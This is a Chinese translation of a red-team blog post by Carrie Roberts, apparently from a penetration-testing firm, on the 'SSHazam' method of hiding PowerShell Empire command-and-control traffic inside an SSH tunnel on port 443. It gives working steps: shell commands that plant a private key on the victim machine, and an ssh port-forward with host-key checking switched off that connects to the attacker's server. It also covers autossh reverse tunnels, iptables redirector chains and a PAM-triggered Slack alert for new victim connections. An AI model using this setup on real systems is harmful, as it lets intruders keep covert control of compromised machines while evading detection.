SSHazam:在SSH隧道内隐藏C2通信的技术解析

本文详细介绍了SSHazam技术,通过标准SSH隧道隐藏任意C2工具的网络流量,避免检测。内容包括SSH端口转发配置、密钥管理、复杂重定向架构实现,以及Slack告警集成方案。

SSHazam:在SSH隧道内隐藏C2通信

Carrie Roberts

SSHazam是一种通过在标准SSH隧道内运行任意C2工具来规避网络检测的方法。本文示例使用PowerShell Empire,该工具会连接到受害者的本地端口。通过SSH连接将本地端口转发到远程Empire服务器,使得唯一可见的网络流量仅为SSH流量。示例中受害系统为OS X,但相同技术可在Windows上使用Putty工具集中的Plink.exe实现。

上图显示受害系统配置了SSH隧道,监听端口5430并将接收到的所有内容转发到Empire服务器。Empire服务器上运行Empire并监听其本地主机的相同端口(127.0.0.1:5430)。为使SSH流量更隐蔽,我们将SSH服务器监听端口改为443而非标准端口22。记得编辑SSH配置文件使其监听此端口,并编辑云提供商防火墙以允许此端口的流量。

在建立隧道前,必须在受害系统上创建或复制私钥。相关公钥必须添加到empire-server的authorized_keys文件中以允许SSH连接。本示例中,我们将私钥文件放置在受害机器的~/.ssh/.do.key。以下命令行步骤将完成此操作(假设您编辑它以包含完整私钥):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
mkdir ~/.ssh
chmod 700 ~/.ssh
echo -----BEGIN RSA PRIVATE KEY----- >> ~/.ssh/.do.key
echo MIIJKAIBAAKCAgEArVuMJdwgl9z9s1C0mrYV05hwUevmY+CkJaY/1iiPJSE6/AAp >> ~/.ssh/.do.key
echo +qkMZ9nrHkBQtaQMrXPW5MQXLxU/o8LQ5QyPiy/B4FiGEfNSx//mSJvEYAXXN4zC >> ~/.ssh/.do.key
<snipped here for brevity>
echo RkiQ5Eir83CLCZFLRWV8wFvNkGV2krxMXDtHHFL5ars/J7tdBekmYI62eXnE5oXl >> ~/.ssh/.do.key
echo NHky2x6YsnQf5lOkC1XyWvwg77gR2kRhb9KpOi+hp6xB42o00mpbZgyY5V4= >> ~/.ssh/.do.key
echo -----END RSA PRIVATE KEY----- >> ~/.ssh/.do.key
chmod 600 ~/.ssh/.do.key

为防止任何获得私钥访问权限的人对empire-server进行不必要的操作,可以在Empire服务器上进行配置更改。具体来说,编辑/etc/passwd并将登录更改为/bin/false。

1
victim:x:1001:1001:Victim Guy,,,:/home/victim:/bin/false

在受害系统上放置私钥后,一个简单的命令将为您配置SSH隧道和端口。

1
ssh -i ~/.ssh/.do.key  -p 443 -N -f -oStrictHostKeyChecking=no victim@empire-server.corp.com -L 5430:127.0.0.1:5430

现在,配置PowerShell Empire或您自己的C2以监听127.0.0.1:5430上的连接。即使在进行如域前置等复杂配置时,这也有效。

就这样,所有C2流量都隐藏在一个加密的SSH隧道内,您无需担心C2可能触发的任何其他网络签名。

额外内容

该技术酷炫、简单,并可能在您 otherwise 被捕获的情况下为您获取C2会话。但您可能不希望将客户敏感数据放在您不拥有的云主机上。在这种情况下,您需要设置额外的重定向器,通过云主机将流量转发到您自己网络内的系统。这复杂了两倍,但别担心,我已经为您全部搞清楚了,如下所示。

C2连接通过SSH隧道转发到empire-redirector。empire-redirector上的防火墙规则将流量转发到另一个中间重定向器。最后,您的内部系统(Empire C2会话最终将到达的地方)建立反向SSH连接到最终重定向器。

在受害机器上运行的SSH命令如下:

1
ssh -i ~/.ssh/.do.key  -p 443 -N -f -oStrictHostKeyChecking=no victim@empire-redirector.corp.com -L 5430:127.0.0.1:5431

从您内部受信任系统运行的SSH命令是:

1
autossh -M 5431 -o ServerAliveInterval=30 -R 5433:10.10.10.185:5430 root@redirector.corp.com

您可能需要先安装autossh,但这是值得的,因为它将确保您的隧道在长时间内保持活跃。

Empire-Redirector的IP表规则如下:

1
2
3
iptables -t nat -A OUTPUT -m addrtype --src-type LOCAL --dst-type LOCAL -p tcp -m multiport --dports 5430:65535 -j DNAT --to-destination 128.62.137.184:5432
iptables -t nat -A POSTROUTING -m addrtype --src-type LOCAL --dst-type UNICAST -j MASQUERADE
sysctl -w net.ipv4.conf.all.route_localnet=1

这将端口5430到65535转发到最终重定向器,因此您可以将该范围内的一个端口专用于每个受害者。

重定向器的IP表规则如下:

1
sysctl -w net.ipv4.conf.all.route_localnet=1iptables -t nat -I PREROUTING -p tcp --dport 5432 -j DNAT --to 127.0.0.1:5433

哇!真是费劲。它很复杂,但完成了采取这些额外预防步骤所需的工作,将敏感数据保留在云外。

顺便说一下,我想在建立SSH连接时通过Slack接收通知。我在empire-redirector上的/etc/pam.d/sshd文件中添加了这两行,以便每次成功建立SSH连接时运行我的Slack通知脚本。

1
2
session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so open
session optional pam_exec.so /home/root/ssh-slack-alert.sh

我的Slack警报脚本如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#!/usr/bin/env bash

if [ "$PAM_USER" != "admin" ] && [ $PAM_TYPE != "close_session" ]
then
message="\`\`\`PamType: $PAM_TYPE\nSSH-User: $PAM_USER\nRhost: $PAM_RHOST\nServer: SSHazam\nHostname: `hostname`\`\`\`"
 
curl -X POST \
  --data-urlencode "payload={\"channel\": \"alerts\", \"username\": \"SSHazam\", \"text\": \"${message}\", \"icon_emoji\": \":boom:\"}" \
 https://hooks.slack.com/services/YOUR/SLACK/HOOKHERE
fi

请注意,在这种更复杂的场景中,除非每个受害者都配置为使用empire-redirector上的不同端口和不同的用户/私钥组合,否则一次只能连接一个受害者。这很烦人,但在鱼叉式网络钓鱼场景中效果很好。

*我们喜欢Carrie为我们客座博文!在Twitter上关注她@OrOneEqualsOne 如需渗透测试、安全评估、红队参与和威胁狩猎:联系我们!

加入我们在Deadwood的Wild West Hackin’ Fest——2020年9月23-25日。了解更多:https://www.wildwesthackinfest.com/

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计